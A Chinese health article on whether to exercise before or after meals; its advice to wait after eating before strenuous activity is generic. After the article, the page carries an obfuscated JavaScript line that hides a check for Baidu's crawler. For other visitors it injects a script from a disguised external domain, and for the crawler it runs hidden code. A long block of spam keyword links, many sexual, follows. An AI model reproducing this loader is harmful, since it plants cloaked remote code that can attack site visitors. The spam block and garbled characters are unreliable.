<label id="xjztt"></label>
<rt id="xjztt"></rt>
  • <thead id="xjztt"></thead>
    <label id="xjztt"></label>

      <label id="xjztt"></label>
      <rt id="xjztt"></rt>

      <span id="xjztt"></span>
      當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

      飯前運(yùn)動(dòng)飯后運(yùn)動(dòng)有哪些?

      2017-04-14 20:38:19  來(lái)源:360常識(shí)網(wǎng)   熱度:
      導(dǎo)語(yǔ):現(xiàn)在的人們都非常的喜歡進(jìn)行各種各樣的運(yùn)動(dòng),不管是游泳、跑步、還是跳繩等等其他的運(yùn)動(dòng)都是人們所喜歡的,并且在不斷的嘗試其他的運(yùn)動(dòng),想

      現(xiàn)在的人們都非常的喜歡進(jìn)行各種各樣的運(yùn)動(dòng),不管是游泳、跑步、還是跳繩等等其他的運(yùn)動(dòng)都是人們所喜歡的,并且在不斷的嘗試其他的運(yùn)動(dòng),想要通過(guò)這種方法來(lái)達(dá)到最好的強(qiáng)身健體的效果。今天,我們要討論的話(huà)題是在飯前運(yùn)動(dòng)和在飯后運(yùn)動(dòng)有什么比較的大差別么。

      一般在飯后兩小時(shí)運(yùn)動(dòng)是最好的了,但是如果晚上運(yùn)動(dòng)量太大會(huì)影響睡眠,所以可以早點(diǎn)吃飯,早點(diǎn)運(yùn)動(dòng),這樣是最好的。

      上面是我自己說(shuō)的。。下面是我找到的:

      飯前、飯后不宜從事激烈運(yùn)動(dòng),運(yùn)動(dòng)和吃飯要有一定的間隔時(shí)間。

      由于在運(yùn)動(dòng)時(shí),肌肉的活動(dòng),使全身的血液進(jìn)行了重新分配,大量的血液流到參于活動(dòng)的肌肉中去了,內(nèi)臟器官,諸如胃、腸等器官的血管都處于相對(duì)收縮狀態(tài),因而消化、吸收機(jī)能也處于抑制狀態(tài),胃液分泌減少,消化能力減弱。此外運(yùn)動(dòng)時(shí)交感神經(jīng)興奮,腎上腺素的分泌大大增加,這也可以使胃腸道的蠕動(dòng)減弱,使消化腺的分泌大大減少。而在運(yùn)動(dòng)后此種狀態(tài)不能立即改變。要休息一定的時(shí)間后才能恢復(fù)正常,所以在激烈運(yùn)動(dòng)后不能馬上進(jìn)食。如激烈運(yùn)動(dòng)后立即吃飯,就會(huì)影響消化吸收能力,長(zhǎng)此下去會(huì)引起消化不良、食欲不振、慢性胃炎等癥狀。一般來(lái)說(shuō),運(yùn)動(dòng)后要經(jīng)過(guò)半小時(shí)甚至更長(zhǎng)一些時(shí)間的休息再進(jìn)餐較合適。

      同樣,在飯后也不能立即去參加激烈運(yùn)動(dòng)。如果飯后馬上參加激烈運(yùn)動(dòng),可使正在參于胃腸部消化的血液又重新分配,流向肌肉等器官,從而也會(huì)影響胃腸的消化和吸收。

      以上就是關(guān)于人們常常在煩惱的飯前運(yùn)動(dòng)和飯后運(yùn)動(dòng)有什么差別,到底是飯前運(yùn)動(dòng)比較好還是飯后運(yùn)動(dòng)比較好的相關(guān)內(nèi)容的具體描述。不管是在飯前運(yùn)動(dòng)還是在飯后運(yùn)動(dòng),都一定要記得做好充足的準(zhǔn)備運(yùn)動(dòng),這樣才可以最好的達(dá)到效果。

      轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
      ?
      if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
      主站蜘蛛池模板: 久久综合给合久久狠狠狠97色| 久久婷婷是五月综合色狠狠| 久久狠狠爱亚洲综合影院| 欧美日韩国产综合视频一区二区二| 欧美精品色婷婷五月综合| 欧美日韩国产综合一区二区三区| 天天影视综合色区| 在线亚洲97se亚洲综合在线 | 亚洲精品天天影视综合网| 色综合天天综合| 国产一级a爱做综合| 97久久久精品综合88久久| 久久91精品久久91综合| 亚洲 欧美 综合 高清 在线| 亚洲欧美综合网| 久久99国产综合精品| 国产成+人+综合+欧美亚洲| 久久综合给合久久狠狠狠97色| 亚洲中文字幕无码久久综合网| 国产精品综合色区在线观看| 国产成人人综合亚洲欧美丁香花| 综合网在线观看| 久久久久综合网久久| 欧美大战日韩91综合一区婷婷久久青草| 亚洲国产欧美国产综合一区| 亚洲人成网站999久久久综合 | 日韩无码系列综合区| 色88久久久久高潮综合影院| 亚洲伊人tv综合网色| 国产综合精品一区二区三区| 久久综合色区| 国产精品亚洲综合久久| 久久久久亚洲AV综合波多野结衣 | 台湾佬综合娱乐| 国产亚洲欧洲Aⅴ综合一区| 亚洲Av综合色区无码专区桃色| 天天干天天射综合网| 亚洲VA欧美va国产va综合| 天天干天天色综合| 一个色综合久久| 久久91综合国产91久久精品|